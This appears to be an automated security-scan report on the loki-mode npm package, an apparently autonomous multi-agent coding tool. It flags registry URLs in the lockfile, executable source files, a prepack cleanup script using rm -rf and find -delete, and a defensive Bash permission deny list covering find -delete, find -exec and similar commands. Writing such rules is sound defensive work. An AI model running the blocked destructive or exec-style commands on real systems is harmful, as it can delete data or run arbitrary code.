"version": "5.0.1", "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - Network accessline 5684
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - Network accessline 5695
"node_modules/toidentifier": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - Network accessline 5696
"version": "1.0.1", "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", - Network accessline 5697
"resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", - Network accessline 5706
"node_modules/tough-cookie": { "version": "4.1.4", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", - Network accessline 5707
"version": "4.1.4", "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", "integrity": "sha512-Loo5UUvLD9ScZ6jh8beX1T6sO1w2/MpCRpEP7V280GKMVUQ0Jzar2U3UJPsrdbziLEMMhu3Ujnq//rhiFuIeag==", - Network accessline 5708
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.4.tgz", - Network accessline 5722
"node_modules/tr46": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - Network accessline 5723
"version": "5.1.1", "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", - Network accessline 5724
"resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", - Network accessline 5735
"node_modules/ts-algebra": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", - Network accessline 5736
"version": "2.0.0", "resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", - Network accessline 5737
"resolved": "https://registry.npmjs.org/ts-algebra/-/ts-algebra-2.0.0.tgz", - Network accessline 5743
"node_modules/type-detect": { "version": "4.0.8", "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", - Network accessline 5744
"version": "4.0.8", "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", - Network accessline 5745
"resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", - Network accessline 5753
"node_modules/type-fest": { "version": "0.21.3", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - Network accessline 5754
"version": "0.21.3", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", - Network accessline 5755
"resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", - Network accessline 5761
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 5762
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 5763
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 5766
"node_modules/type-is": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", - Network accessline 5767
"version": "2.1.0", "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", - Network accessline 5768
"resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", - Network accessline 5781
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5782
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5783
"url": "https://opencollective.com/express" - Network accessline 5786
"node_modules/type-is/node_modules/content-type": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", - Network accessline 5787
"version": "2.0.0", "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==", - Network accessline 5788
"resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", - Network accessline 5796
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5797
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5798
"url": "https://opencollective.com/express" - Network accessline 5801
"node_modules/type-is/node_modules/mime-db": { "version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 5802
"version": "1.54.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==", - Network accessline 5803
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz", - Network accessline 5812
"node_modules/type-is/node_modules/mime-types": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 5813
"version": "3.0.2", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==", - Network accessline 5814
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz", - Network accessline 5825
"funding": { "type": "opencollective", "url": "https://opencollective.com/express" - Network accessline 5826
"type": "opencollective", "url": "https://opencollective.com/express" } - Network accessline 5827
"url": "https://opencollective.com/express" - Network accessline 5830
"node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 5831
"version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - Network accessline 5832
"resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - Network accessline 5844
"node_modules/undici-types": { "version": "7.19.2", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", - Network accessline 5845
"version": "7.19.2", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", "integrity": "sha512-qYVnV5OEm2AW8cJMCpdV20CDyaN3g0AjDlOGf1OW4iaDEx8MwdtChUp4zu4H0VP3nDRF/8RKWH+IPp9uW0YGZg==", - Network accessline 5846
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.19.2.tgz", - Network accessline 5851
"node_modules/universalify": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - Network accessline 5852
"version": "0.2.0", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", - Network accessline 5853
"resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", - Network accessline 5861
"node_modules/unpipe": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - Network accessline 5862
"version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", - Network accessline 5863
"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - Network accessline 5872
"node_modules/update-browserslist-db": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - Network accessline 5873
"version": "1.2.3", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w= - Network accessline 5874
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - Network accessline 5878
{ "type": "opencollective", "url": "https://opencollective.com/browserslist" - Network accessline 5879
"type": "opencollective", "url": "https://opencollective.com/browserslist" }, - Network accessline 5880
"url": "https://opencollective.com/browserslist" - Network accessline 5882
{ "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 5883
"type": "tidelift", "url": "https://tidelift.com/funding/github/npm/browserslist" }, - Network accessline 5884
"url": "https://tidelift.com/funding/github/npm/browserslist" - Network accessline 5886
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 5887
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 5888
"url": "https://github.com/sponsors/ai" - Network accessline 5903
"node_modules/url-parse": { "version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - Network accessline 5904
"version": "1.5.10", "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", - Network accessline 5905
"resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", - Network accessline 5914
"node_modules/v8-to-istanbul": { "version": "9.3.0", "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", - Network accessline 5915
"version": "9.3.0", "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", - Network accessline 5916
"resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", - Network accessline 5929
"node_modules/vary": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - Network accessline 5930
"version": "1.1.2", "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - Network accessline 5931
"resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - Network accessline 5940
"node_modules/w3c-xmlserializer": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 5941
"version": "5.0.0", "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", - Network accessline 5942
"resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - Network accessline 5953
"node_modules/walker": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", - Network accessline 5954
"version": "1.0.8", "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", - Network accessline 5955
"resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", - Network accessline 5963
"node_modules/webidl-conversions": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - Network accessline 5964
"version": "7.0.0", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", - Network accessline 5965
"resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", - Network accessline 5973
"node_modules/whatwg-encoding": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - Network accessline 5974
"version": "3.1.1", "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", - Network accessline 5975
"resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", - Network accessline 5987
"node_modules/whatwg-mimetype": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - Network accessline 5988
"version": "4.0.0", "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", - Network accessline 5989
"resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", - Network accessline 5997
"node_modules/whatwg-url": { "version": "14.2.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - Network accessline 5998
"version": "14.2.0", "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", - Network accessline 5999
"resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", - Network accessline 6011
"node_modules/which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 6012
"version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - Network accessline 6013
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - Network accessline 6027
"node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - Network accessline 6028
"version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - Network accessline 6029
"resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - Network accessline 6040
}, "funding": { "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - Network accessline 6041
"funding": { "url": "https://github.com/chalk/wrap-ansi?sponsor=1" } - Network accessline 6042
"url": "https://github.com/chalk/wrap-ansi?sponsor=1" - Network accessline 6045
"node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - Network accessline 6046
"version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - Network accessline 6047
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - Network accessline 6052
"node_modules/write-file-atomic": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz", - Network accessline 6053
"version": "4.0.2", "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz", "integrity": "sha512-7KxauUdBmSdWnmpaGFg+ppNjKF8uNLry8LyzjauQDOVONfFLNKrKvQOxZ/VuTIcS/gge/YNahf5RIIQWTSarlg==", - Network accessline 6054
"resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-4.0.2.tgz", - Network accessline 6066
"node_modules/ws": { "version": "8.20.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", - Network accessline 6067
"version": "8.20.0", "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==", - Network accessline 6068
"resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", - Network accessline 6088
"node_modules/xml-name-validator": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 6089
"version": "5.0.0", "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", - Network accessline 6090
"resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - Network accessline 6098
"node_modules/xmlchars": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - Network accessline 6099
"version": "2.2.0", "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - Network accessline 6100
"resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - Network accessline 6105
"node_modules/y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - Network accessline 6106
"version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - Network accessline 6107
"resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - Network accessline 6115
"node_modules/yallist": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - Network accessline 6116
"version": "3.1.1", "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - Network accessline 6117
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - Network accessline 6122
"node_modules/yargs": { "version": "17.7.2", "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - Network accessline 6123
"version": "17.7.2", "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", - Network accessline 6124
"resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - Network accessline 6141
"node_modules/yargs-parser": { "version": "21.1.1", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - Network accessline 6142
"version": "21.1.1", "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", - Network accessline 6143
"resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - Network accessline 6151
"node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - Network accessline 6152
"version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - Network accessline 6153
"resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - Network accessline 6159
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 6160
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 6161
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 6164
"node_modules/zod": { "version": "4.4.3", "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - Network accessline 6165
"version": "4.4.3", "resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", "integrity": "sha512-ytENFjIJFl2UwYglde2jchW2Hwm4GJFLDiSXWdTrJQBIN9Fcyp7n4DhxJEiWNAJMV1/BqWfW/kkg71UDcHJyTQ==", - Network accessline 6166
"resolved": "https://registry.npmjs.org/zod/-/zod-4.4.3.tgz", - Network accessline 6170
"peer": true, "funding": { "url": "https://github.com/sponsors/colinhacks" - Network accessline 6171
"funding": { "url": "https://github.com/sponsors/colinhacks" } - Network accessline 6172
"url": "https://github.com/sponsors/colinhacks" - Network accessline 6175
"node_modules/zod-to-json-schema": { "version": "3.25.2", "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", - Network accessline 6176
"version": "3.25.2", "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz", "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==", - Network accessline 6177
"resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",
package.json
- Executable scriptline 1
Executable file - Network accessline 47
"workflow" ], "homepage": "https://www.autonomi.dev/", - Network accessline 48
], "homepage": "https://www.autonomi.dev/", "bugs": { - Network accessline 49
"homepage": "https://www.autonomi.dev/", - Network accessline 50
"bugs": { "url": "https://github.com/asklokesh/loki-mode/issues" }, - Network accessline 51
"url": "https://github.com/asklokesh/loki-mode/issues" - Network accessline 53
"repository": { "type": "git", "url": "git+https://github.com/asklokesh/loki-mode.git" - Network accessline 54
"type": "git", "url": "git+https://github.com/asklokesh/loki-mode.git" }, - Network accessline 55
"url": "git+https://github.com/asklokesh/loki-mode.git" - Dangerous shell operationline 126
"prepack": "find . -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null; find . -name '*.pyc' -delete 2>/dev/null; if command -v bun >/dev/null 2>&1; then (cd loki-ts && bun install --production && bun run build) || echo 'WARN: loki-ts b
packages/control-plane/package.json
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/invoke.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/parse.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/policy.ts
- Executable scriptline 1
Executable file - Dangerous shell operationline 31
"Bash(rg --hostname-bin=:*)", "Bash(find -delete:*)", "Bash(find -exec:*)", "Bash(find -execdir:*)", "Bash(find -ok:*)", "Bash(find -fprint:*)", "Bash(find -fprintf:*)", "Bash(find -fls:*)", - Dangerous shell operationline 33
"Bash(find * -delete*)", "Bash(find * -exec*)", "Bash(find * -execdir*)", "Bash(find * -fprint*)", "Bash(find * -fls*)", "Bash(find * -ok*)",
packages/control-plane/src/ask/prompt.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/store.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/tools.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/tools_server.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/ask/worker.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/db/fixture-cleanup.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/db/migrate.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/db/prune.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/db/schema.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/answer.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/app.ts
- Executable scriptline 1
Executable file - Network accessline 92
[Credential-related source omitted] - Network accessline 93
[Credential-related source omitted] - Network accessline 94
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Network accessline 95
fetchImpl: ((u: string, init: RequestInit) => app.fetch(new Request(u, { ...init, headers: { ...(init.headers as Record<string, string>), host: "127.0.0.1" } }))) as unknown as typeof fetch,
packages/control-plane/src/server/audit.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/auth.ts
packages/control-plane/src/server/diffstat.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/ingest.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/integrity.ts
packages/control-plane/src/server/legacy/routes-audit.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/legacy/routes-control.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/legacy/routes-memory.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/legacy/routes-metrics.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/legacy/routes.ts
packages/control-plane/src/server/legacy/shim.ts
- Executable scriptline 1
Executable file - Network accessline 108
const mapped: Record<string, (c: Context) => Response | Promise<Response>> = { "GET /.well-known/agent.json": (c) => c.json({ name: "Loki Mode", version, url: "https://www.autonomi.dev/", - Network accessline 109
"GET /.well-known/agent.json": (c) => c.json({ name: "Loki Mode", version, url: "https://www.autonomi.dev/", description: "Multi-agent autonomous system by Autonomi. Served by the Loki Control Plane.", - Network accessline 110
name: "Loki Mode", version, url: "https://www.autonomi.dev/",
packages/control-plane/src/server/reconcile.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/repos.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/artifacts.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/ask.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/audit.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/checkpoints.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/config.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/control.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/cost.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/cost_ledger.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/doctor.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/fleet.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/index.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/integrations.ts
packages/control-plane/src/server/routes/memory.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/merge_risk.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/metrics.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/notify.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/providers.ts
packages/control-plane/src/server/routes/session_control.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/start.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/stats.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/stream.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/routes/verify.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/runs.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/server/serve.ts
packages/control-plane/src/server/spawn.ts
- Executable scriptline 1
Executable file
packages/control-plane/src/shipper/backfill.ts
